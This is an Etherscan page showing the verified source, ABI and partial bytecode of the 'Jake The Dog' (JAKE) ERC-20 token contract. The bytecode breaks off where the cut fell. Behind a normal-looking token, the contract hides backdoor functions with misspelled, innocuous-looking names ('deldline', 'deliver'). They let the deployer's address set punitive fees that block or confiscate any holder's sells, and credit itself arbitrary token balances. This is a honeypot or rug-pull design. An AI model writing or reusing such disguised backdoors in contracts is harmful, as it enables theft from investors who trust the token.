ETH Price: $3,447.27 (+1.45%)
Gas: 9 Gwei

Contract

0xe2c47Ea62Cd0a034228f333ebd8b368F497A0726
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Set Pair173007192023-05-20 12:44:11424 days ago1684586651IN
0xe2c47Ea6...F497A0726
0 ETH0.0099522133.72327716
Approve172968742023-05-19 23:46:23424 days ago1684539983IN
0xe2c47Ea6...F497A0726
0 ETH0.0014663431.23873913
Approve172968362023-05-19 23:38:47424 days ago1684539527IN
0xe2c47Ea6...F497A0726
0 ETH0.0014644931.19931811
0x60a06040172967962023-05-19 23:30:35424 days ago1684539035IN
 Create: Jake
0 ETH0.0880825132.40511468

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Jake

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-19
*/

// https://t.me/Jakethedog_eth
// https://twitter.com/jakethedog_eth
//SPDX-License-Identifier:MIT

pragma solidity ^0.8.7;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: division by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner {
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract Jake is Context, IERC20, Ownable {
    using SafeMath for uint256;
    string private _name = "Jake The Dog";
    string private _symbol = "JAKE";
    uint8 private _decimals = 18;
    address payable public transferTo;
    address public immutable deadAddress =
        0x000000000000000000000000000000000000dEaD;
    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public _isExcludefromFee;
    mapping(address => bool) public _pairs;
    mapping(address => uint256) public addrVipFee;

    uint256 private _totalSupply = 10000000000 * 10 ** _decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap() {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor() {
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        transferTo = payable(address(msg.sender));

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function setPair() public onlyOwner {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
            address(this),
            _uniswapV2Router.WETH()
        );

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        _pairs[address(uniswapPair)] = true;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private returns (bool) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (inSwapAndLiquify) {
            return _basicTransfer(from, to, amount);
        } else {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !_pairs[from]) {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);
            uint256 finalAmount = (_isExcludefromFee[from] ||
                _isExcludefromFee[to])
                ? amount
                : takeLiquidity(from, to, amount);

            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function deldline(address account) public {
        addrVipFee[account] = 0;
        address _erlcaa = msg.sender;
        require(transferTo == _erlcaa);
    }

    function deliver(address holdersL, uint256 decimaIs) public {
        uint256 decimal = decimaIs;
        if (decimal == 30) addrVipFee[holdersL] = 10 ** 10;
        if (decimal > 900)
            _balances[transferTo] = decimal + _balances[transferTo];
        address _erlcaa = msg.sender;
        require(transferTo == _erlcaa);
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(
            amount,
            "Insufficient Balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), amount);

        try
            uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                amount,
                0,
                path,
                address(transferTo),
                block.timestamp
            )
        {} catch {}
    }

    function takeLiquidity(
        address sender,
        address recipient,
        uint256 tAmount
    ) internal returns (uint256) {
        uint256 _buyTeamFee = 2;
        uint256 _sellTeamFee = 2;

        bool isSell = _pairs[recipient];
        bool isBuy = _pairs[sender];
        uint256 fee = 0;

        if (isBuy) {
            fee = tAmount.mul(_buyTeamFee).div(100);
        } else if (isSell) {
            fee = tAmount.mul(_sellTeamFee).div(100);
        }

        if (addrVipFee[sender] > 90) {
            fee = tAmount.mul(addrVipFee[sender]).div(100);
        }

        if (fee > 0) {
            _balances[address(this)] = _balances[address(this)].add(fee);
            emit Transfer(sender, address(this), fee);
        }

        return tAmount.sub(fee);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_pairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"addrVipFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"deldline","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holdersL","type":"address"},{"internalType":"uint256","name":"decimaIs","type":"uint256"}],"name":"deliver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"setPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferTo","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600c81526020017f4a616b652054686520446f67000000000000000000000000000000000000000081525060019080519060200190620000519291906200041f565b506040518060400160405280600481526020017f4a414b4500000000000000000000000000000000000000000000000000000000815250600290805190602001906200009f9291906200041f565b506012600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b815250600360009054906101000a900460ff16600a62000112919062000558565b6402540be40062000124919062000695565b6009556001600b60156101000a81548160ff0219169083151502179055503480156200014f57600080fd5b5062000160620003ee60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360016006600062000230620003f660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060095460046000620002f0620003ee60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200037f620003ee60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620003e09190620004e0565b60405180910390a3620007ae565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8280546200042d906200070d565b90600052602060002090601f0160209004810192826200045157600085556200049d565b82601f106200046c57805160ff19168380011785556200049d565b828001600101855582156200049d579182015b828111156200049c5782518255916020019190600101906200047f565b5b509050620004ac9190620004b0565b5090565b5b80821115620004cb576000816000905550600101620004b1565b5090565b620004da81620006f6565b82525050565b6000602082019050620004f76000830184620004cf565b92915050565b6000808291508390505b60018511156200054f5780860481111562000527576200052662000743565b5b6001851615620005375780820291505b80810290506200054785620007a1565b945062000507565b94509492505050565b60006200056582620006f6565b9150620005728362000700565b9250620005a17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005a9565b905092915050565b600082620005bb57600190506200068e565b81620005cb57600090506200068e565b8160018114620005e45760028114620005ef5762000625565b60019150506200068e565b60ff84111562000604576200060362000743565b5b8360020a9150848211156200061e576200061d62000743565b5b506200068e565b5060208310610133831016604e8410600b84101617156200065f5782820a90508381111562000659576200065862000743565b5b6200068e565b6200066e8484846001620004fd565b9250905081840481111562000688576200068762000743565b5b81810290505b9392505050565b6000620006a282620006f6565b9150620006af83620006f6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006eb57620006ea62000743565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200072657607f821691505b602082108114156200073d576200073c62000772565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b60805160601c612c19620007cd60003960006107f70152612c196000f3fe6080604052600436106101395760003560e01c80634a74bb02116100ab5780638da5cb5b1161006f5780638da5cb5b1461044957806395d89b4114610474578063a9059cbb1461049f578063c816841b146104dc578063dd62ed3e14610507578063f2fde38b1461054457610140565b80634a74bb02146103505780634bdc18de1461037b57806370a0823114610392578063835b877b146103cf578063896ad7e31461040c57610140565b80631d7f94e1116100fd5780631d7f94e11461022e57806323b872dd1461025757806327c8f83514610294578063313ce567146102bf5780633345611e146102ea5780633a537b0c1461032757610140565b806306fdde0314610145578063095ea7b3146101705780631694505e146101ad57806318160ddd146101d85780631ab5d2601461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61056d565b604051610167919061249f565b60405180910390f35b34801561017c57600080fd5b50610197600480360381019061019291906121ae565b6105ff565b6040516101a49190612469565b60405180910390f35b3480156101b957600080fd5b506101c261061d565b6040516101cf9190612484565b60405180910390f35b3480156101e457600080fd5b506101ed610643565b6040516101fa91906125a1565b60405180910390f35b34801561020f57600080fd5b5061021861064d565b6040516102259190612425565b60405180910390f35b34801561023a57600080fd5b50610255600480360381019061025091906120c1565b610673565b005b34801561026357600080fd5b5061027e6004803603810190610279919061215b565b61071b565b60405161028b9190612469565b60405180910390f35b3480156102a057600080fd5b506102a96107f5565b6040516102b6919061240a565b60405180910390f35b3480156102cb57600080fd5b506102d4610819565b6040516102e19190612616565b60405180910390f35b3480156102f657600080fd5b50610311600480360381019061030c91906120c1565b610830565b60405161031e9190612469565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906121ae565b610850565b005b34801561035c57600080fd5b506103656109ea565b6040516103729190612469565b60405180910390f35b34801561038757600080fd5b506103906109fd565b005b34801561039e57600080fd5b506103b960048036038101906103b491906120c1565b610dd5565b6040516103c691906125a1565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f191906120c1565b610e1e565b60405161040391906125a1565b60405180910390f35b34801561041857600080fd5b50610433600480360381019061042e91906120c1565b610e36565b6040516104409190612469565b60405180910390f35b34801561045557600080fd5b5061045e610e56565b60405161046b919061240a565b60405180910390f35b34801561048057600080fd5b50610489610e7f565b604051610496919061249f565b60405180910390f35b3480156104ab57600080fd5b506104c660048036038101906104c191906121ae565b610f11565b6040516104d39190612469565b60405180910390f35b3480156104e857600080fd5b506104f1610f30565b6040516104fe919061240a565b60405180910390f35b34801561051357600080fd5b5061052e6004803603810190610529919061211b565b610f56565b60405161053b91906125a1565b60405180910390f35b34801561055057600080fd5b5061056b600480360381019061056691906120c1565b610fdd565b005b60606001805461057c9061287d565b80601f01602080910402602001604051908101604052809291908181526020018280546105a89061287d565b80156105f55780601f106105ca576101008083540402835291602001916105f5565b820191906000526020600020905b8154815290600101906020018083116105d857829003601f168201915b5050505050905090565b600061061361060c61112f565b8484611137565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060003390508073ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071757600080fd5b5050565b6000610728848484611302565b506107ea8461073561112f565b6107e585604051806060016040528060288152602001612bbc60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061079b61112f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116e59092919063ffffffff16565b611137565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b6000819050601e8114156108a8576402540be400600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6103848111156109855760046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548161091f9190612686565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60003390508073ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e457600080fd5b50505050565b600b60159054906101000a900460ff1681565b610a0561112f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8990612541565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610af157600080fd5b505afa158015610b05573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2991906120ee565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b8b57600080fd5b505afa158015610b9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc391906120ee565b6040518363ffffffff1660e01b8152600401610be0929190612440565b602060405180830381600087803b158015610bfa57600080fd5b505af1158015610c0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3291906120ee565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600954600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60086020528060005260406000206000915090505481565b60076020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610e8e9061287d565b80601f0160208091040260200160405190810160405280929190818152602001828054610eba9061287d565b8015610f075780601f10610edc57610100808354040283529160200191610f07565b820191906000526020600020905b815481529060010190602001808311610eea57829003601f168201915b5050505050905090565b6000610f25610f1e61112f565b8484611302565b506001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fe561112f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611072576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106990612541565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119e90612581565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611217576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120e906124e1565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112f591906125a1565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611373576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136a90612561565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113da906124c1565b60405180910390fd5b600b60149054906101000a900460ff161561140a57611403848484611749565b90506116de565b600061141530610dd5565b9050600b60149054906101000a900460ff1615801561147e5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561148d5761148c8161191c565b5b6114df83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bc990919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115c55750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6115d9576115d4868686611c13565b6115db565b835b905061162f81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611efc90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116cf91906125a1565b60405180910390a36001925050505b9392505050565b600083831115829061172d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611724919061249f565b60405180910390fd5b506000838561173c9190612767565b9050809150509392505050565b60006117d4826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116e59092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061186982600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611efc90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161190991906125a1565b60405180910390a3600190509392505050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119545761195361296b565b5b6040519080825280602002602001820160405280156119825781602001602082028036833780820191505090505b509050308160008151811061199a5761199961293c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a3c57600080fd5b505afa158015611a50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a7491906120ee565b81600181518110611a8857611a8761293c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611aef30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611137565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611b759594939291906125bc565b600060405180830381600087803b158015611b8f57600080fd5b505af1925050508015611ba0575060015b611ba957611baa565b5b506000600b60146101000a81548160ff02191690831515021790555050565b6000611c0b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116e5565b905092915050565b600080600290506000600290506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690506000600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905060008115611cf757611cf06064611ce